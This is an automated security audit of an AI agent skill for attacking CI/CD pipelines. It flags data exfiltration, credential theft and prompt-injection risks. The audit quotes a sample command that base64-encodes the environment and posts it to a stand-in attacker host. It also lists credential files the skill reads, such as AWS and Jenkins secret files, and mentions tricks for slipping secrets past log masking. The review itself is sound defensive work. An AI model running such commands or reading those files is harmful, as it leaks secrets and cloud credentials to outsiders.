abusing-ci-cd-oidc
Warn
Audited by Gen Agent Trust Hub on Jul 30, 2026
Risk Level: MEDIUMDATA_EXFILTRATIONCOMMAND_EXECUTIONCREDENTIALS_UNSAFEPROMPT_INJECTION
Full Analysis
- [DATA_EXFILTRATION]: The skill provides commands to exfiltrate the entire process environment, which often contains masked secrets and sensitive tokens, to an external URL using patterns like
env | base64 | curl -d @- https://attacker.example/exfil. It also demonstrates methods to bypass log masking by encoding secrets in base64 or using character-by-character extraction. - [CREDENTIALS_UNSAFE]: Instructions guide the extraction of hardcoded and stored credentials from sensitive file paths such as
~/.aws/credentials,.envfiles,.pemkeys, and Jenkins-specific configuration files like/var/lib/jenkins/credentials.xmland/var/lib/jenkins/secrets/master.key. - [COMMAND_EXECUTION]: The skill uses extensive shell commands involving
curl,rg,aws,gcloud, andazto interact with remote APIs and cloud infrastructure. These commands often interpolate variables (e.g.,OWNER,REPO,APP_OBJECT_ID,PROVIDER) which could be subject to command injection if populated from untrusted sources. - [PROMPT_INJECTION]: The skill documents techniques for Indirect Prompt Injection, specifically targeting CI/CD pipelines. It identifies a vulnerability surface where untrusted data from pull requests, issues, or comments is interpolated into workflow
runblocks without sanitization (e.g.,github.event.issue...). - Ingestion points: GitHub Actions workflow files (
.github/workflows/) processing event data. - Boundary markers: None observed in the provided examples.
- Capability inventory: Shell execution via
runblocks in CI environments with access toGITHUB_TOKENand repository secrets. - Sanitization: The skill highlights the lack of sanitization as the primary exploit vector.
Audit Metadata